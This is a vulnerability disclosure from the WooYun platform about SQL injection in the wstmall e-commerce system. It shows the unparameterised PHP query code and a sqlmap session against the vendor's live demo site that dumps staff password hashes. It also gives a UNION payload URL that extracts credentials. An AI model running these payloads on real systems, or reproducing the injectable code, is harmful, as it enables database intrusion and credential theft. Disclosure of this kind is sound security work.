当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134813

漏洞标题:wstmall商城系统sql注入(demo演示)

相关厂商:wstmall

漏洞作者: 不能忍

提交时间:2015-08-18 16:34

修复时间:2015-10-02 16:36

公开时间:2015-10-02 16:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

同一个文件。

详细说明:

漏洞文件:
/apps/home/model/goodsmodel.class.php

public function getGoodsList($obj){
$areaId2 = $obj["areaId2"];
$areaId3 = $obj["areaId3"];
$communityId = I("communityId"); //#1
$c1Id = I("c1Id",0); //#2
$c2Id = I("c2Id"); //#3
$c3Id = I("c3Id"); //#4
$pcurr = I("pcurr");
$msort = I("msort",1);//排序标识
$prices = I("prices");
if($prices != ""){
$pricelist = explode("_",$prices);
}
$brandId = I("brandId",0); //#5

$keyWords = I("keyWords"); //#6

$sql = "SELECT g.goodsId,goodsSn,goodsName,goodsThums,goodsStock,g.saleCount,p.shopId,marketPrice,shopPrice,ga.id goodsAttrId
FROM __PREFIX__goods g left join __PREFIX__goods_attributes ga on g.goodsId=ga.goodsId and ga.isRecomm=1, __PREFIX__shops p ";
if($communityId>0){
$sql .=" , __PREFIX__shops_communitys sc ";
}

if($brandId>0){
$sql .=" , __PREFIX__brands bd ";
}
$sql .= "WHERE p.areaId2 = $areaId2 AND g.shopId = p.shopId AND g.goodsStatus=1 AND g.goodsFlag = 1 and g.isSale=1 ";
if($communityId>0){
$sql .= " AND sc.shopId=p.shopId AND sc.communityId = $communityId "; //inject1
}
if($brandId>0){
$sql .=" AND bd.brandId=g.brandId AND g.brandId = $brandId "; //inject2
}
if($c1Id>0){
$sql .= " AND g.goodsCatId1 = $c1Id"; //inject3
}
if($c2Id>0){
$sql .= " AND g.goodsCatId2 = $c2Id"; //inject4
}
if($c3Id>0){
$sql .= " AND g.goodsCatId3 = $c3Id"; //inject5
}

if($areaId3>0){
$sql .= " AND p.areaId3 = $areaId3";
}
if($keyWords!=""){
$sql .= " AND g.goodsName LIKE '%$keyWords%'"; //inject6
}
$glist = $this->query($sql);
$shops = array();
$maxPrice = 0;
for($i=0;$i<count($glist);$i++){
$goods = $glist[$i];
if($goods["shopPrice"]>$maxPrice){
$maxPrice = $goods["shopPrice"];
}
}
if($prices != "" && $pricelist[0]>=0 && $pricelist[1]>=0){
$sql .= " AND (g.shopPrice BETWEEN ".(int)$pricelist[0]." AND ".(int)$pricelist[1].") ";
}

if($msort==1){//综合
$sql .= " ORDER BY g.saleCount DESC ";
}else if($msort==6){//人气
$sql .= " ORDER BY g.saleCount DESC ";
}else if($msort==7){//销量
$sql .= " ORDER BY g.saleCount DESC ";
}else if($msort==8){//价格
$sql .= " ORDER BY g.shopPrice ASC ";
}else if($msort==9){//价格
$sql .= " ORDER BY g.shopPrice DESC ";
}else if($msort==10){//好评

}else if($msort==11){//上架时间
$sql .= " ORDER BY g.saleTime DESC ";
}
$pages = $this->pageQuery($sql,$pcurr,30);
$rs["maxPrice"] = $maxPrice;
$brands = array();
$sql = "SELECT b.brandId, b.brandName FROM wst_brands b, wst_goods_cat_brands cb WHERE b.brandId = cb.brandId AND b.brandFlag=1 ";
if($c1Id>0){
$sql .= " AND cb.catId = $c1Id"; //inject7
}
$sql .= " GROUP BY b.brandId";
$blist = $this->query($sql);
for($i=0;$i<count($blist);$i++){
$brand = $blist[$i];
$brands[$brand["brandId"]] = array('brandId'=>$brand["brandId"],'brandName'=>$brand["brandName"]);
}
$rs["brands"] = $brands;
$rs["pages"] = $pages;
$gcats["goodsCatId1"] = $c1Id;
$gcats["goodsCatId2"] = $c2Id;
$gcats["goodsCatId3"] = $c3Id;
$rs["goodsNav"] = self::getGoodsNav($gcats);
return $rs;
}


注入点都标在上面了。有几个条件是必须大于0的,所以提交1test这样就能过了。这里就不说为什么了!
下面我们来看看进库时候两条sql语句长什么样子:
2015/8/17 17:42 select count(*) counts from (SELECT g.goodsId,goodsSn,goodsName,goodsThums,goodsStock,g.saleCount,p.shopId,marketPrice,shopPrice,ga.id goodsAttrId
FROM wst_goods g left join wst_goods_attributes ga on g.goodsId=ga.goodsId and ga.isRecomm=1, wst_shops p , wst_shops_communitys sc , wst_brands bd WHERE p.areaId2 = 440100 AND g.shopId = p.shopId AND g.goodsStatus=1 AND g.goodsFlag = 1 and g.isSale=1 AND sc.shopId=p.shopId AND sc.communityId = 1test AND bd.brandId=g.brandId AND g.brandId = 1test AND g.goodsCatId1 = 1test' AND g.goodsCatId2 = 1test AND g.goodsCatId3 = 1test AND g.goodsName LIKE '%test%' ORDER BY g.saleCount DESC ) as a
这是前面6处的
最后一处也是
$sql = "SELECT b.brandId, b.brandName FROM wst_brands b, wst_goods_cat_brands cb WHERE b.brandId = cb.brandId AND b.brandFlag=1 ";
if($c1Id>0){
$sql .= " AND cb.catId = $c1Id";
}
$c1Id>0就给过了。
2015/8/17 17:42 SELECT b.brandId, b.brandName FROM wst_brands b, wst_goods_cat_brands cb WHERE b.brandId = cb.brandId AND b.brandFlag=1 AND cb.catId = 1test' GROUP BY b.brandId
给出提交时候的url:
http://localhost/index.php/home/goods/getgoodslist/?c1Id=1test'&c2Id=1test&c3Id=1test&communityId=1test&brandId=1test&keyWords=test

漏洞证明:

接下来是演示sql注入,当然实际利用的时候用不着这么多处sql注入的。
我们来两处sql注入演示一下就好了:
root@kali:/usr/share/sqlmap-dev# ./sqlmap.py -u "http://demo.wstmall.com/index.php/home/goods/getgoodslist/?c1Id=1&c2Id=1&c3Id=1&communityId=1&brandId=1&keyWords=*" --threads 10 --batch -D wstmall -T wst_staffs -C loginpwd,stafname --dump
_
___ ___| |_____ ___ ___ {1.0-dev-023def3}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 06:16:40
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[06:16:40] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[06:16:40] [INFO] testing connection to the target URL
[06:16:41] [INFO] testing if the target URL is stable
[06:16:42] [INFO] target URL is stable
[06:16:42] [INFO] testing if URI parameter '#1*' is dynamic
[06:16:42] [WARNING] URI parameter '#1*' does not appear dynamic
[06:16:43] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[06:16:43] [INFO] testing for SQL injection on URI parameter '#1*'
[06:16:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:16:44] [WARNING] reflective value(s) found and filtering out
[06:16:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[06:16:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[06:16:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:16:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[06:17:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[06:17:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[06:17:03] [INFO] testing 'MySQL inline queries'
[06:17:03] [INFO] testing 'PostgreSQL inline queries'
[06:17:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[06:17:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[06:17:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[06:17:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[06:17:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[06:17:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[06:17:56] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[06:17:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[06:17:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[06:18:07] [INFO] target URL appears to be UNION injectable with 10 columns
[06:18:08] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://demo.wstmall.com:80/index.php/home/goods/getgoodslist/?c1Id=1&c2Id=1&c3Id=1&communityId=1&brandId=1&keyWords=' AND (SELECT * FROM (SELECT(SLEEP(5)))NZMY) AND 'vQuJ'='vQuJ
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: http://demo.wstmall.com:80/index.php/home/goods/getgoodslist/?c1Id=1&c2Id=1&c3Id=1&communityId=1&brandId=1&keyWords=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766b7871,0x6f64447175416e5a6545,0x71627a6271),NULL,NULL,NULL,NULL--
---
[06:18:09] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.17
back-end DBMS: MySQL 5.0.12
[06:18:09] [INFO] fetching columns 'loginpwd, stafname' for table 'wst_staffs' in database 'wstmall'
[06:18:09] [INFO] fetching entries of column(s) 'loginPwd' for table 'wst_staffs' in database 'wstmall'
[06:18:10] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[06:18:10] [INFO] the SQL query used returns 3 entries
[06:18:10] [INFO] starting 3 threads
[06:18:10] [INFO] retrieved: a0da805e0b77f6cc05cdf0ef6ca8caad
[06:18:11] [INFO] retrieved: 1600195af828b21c1f586b1e01cb89fc
[06:18:11] [INFO] retrieved: f0df190a0fdfaa1b23d458532e5b10d8
[06:18:11] [INFO] analyzing table dump for possible password hashes
[06:18:11] [INFO] recognized possible password hashes in column 'loginPwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[06:18:11] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap-dev/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[06:18:11] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[06:18:11] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[06:18:11] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[06:18:13] [WARNING] no clear password(s) found
[06:18:13] [INFO] postprocessing table dump
Database: wstmall
Table: wst_staffs
[3 entries]
+----------------------------------+
| loginPwd |
+----------------------------------+
| 1600195af828b21c1f586b1e01cb89fc |
| a0da805e0b77f6cc05cdf0ef6ca8caad |
| f0df190a0fdfaa1b23d458532e5b10d8 |
+----------------------------------+
[06:18:13] [INFO] table 'wstmall.wst_staffs' dumped to CSV file '/root/.sqlmap/output/demo.wstmall.com/dump/wstmall/wst_staffs.csv'
[06:18:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/demo.wstmall.com'
[*] shutting down at 06:18:13
其余5处我就不测试了,你们可以用sqlmap跑一下,无非换一个参数而已。。
最后一处的sql注入是这样:
先来payload:
http://demo.wstmall.com/index.php/home/goods/getgoodslist/?c1Id=1 UNION ALL SELECT (SELECT CONCAT(0x7c,IFNULL(CAST(loginPwd AS CHAR),0x20),0x7c,IFNULL(CAST(staffName AS CHAR),0x20),0x7c) FROM wstmall.wst_staffs LIMIT 1),NULL--&c2Id=1&c3Id=1&communityId=1&brandId=1&keyWords=222
然后给个图片也是demo演示的:

2.jpg

修复方案:

该过滤的过滤

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝